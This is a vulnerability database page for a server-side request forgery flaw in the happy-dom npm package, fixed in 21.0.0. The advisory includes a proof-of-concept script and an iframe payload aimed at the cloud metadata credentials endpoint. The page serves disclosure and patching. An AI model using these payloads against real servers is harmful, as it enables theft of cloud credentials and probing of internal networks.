Skip to main content
VulnerabilityPublished

CVE-2026-118660: Happy DOM · SSRF via iframe and link stylesheet when parsing untrusted HTML

Affects happy-domSource GCVE Database

0
Authoritative record:CVE-2026-118660· High 8.6

Not known to be exploited · CVSS 8.6 High : upgrade to 21.0.0 soon.

Data as of 28 Oct 2026, 22:12 UTC

CVSS 3.1 base score
8.6High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 21.0.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 28 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade happy-dom to 21.0.0.

Affected software

ProductAffectedFixed in
npmhappy-domAffected
  • <21.0.0
Fixed in
  • 21.0.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ## Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ## Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

References

Community reviews

Loading reviews…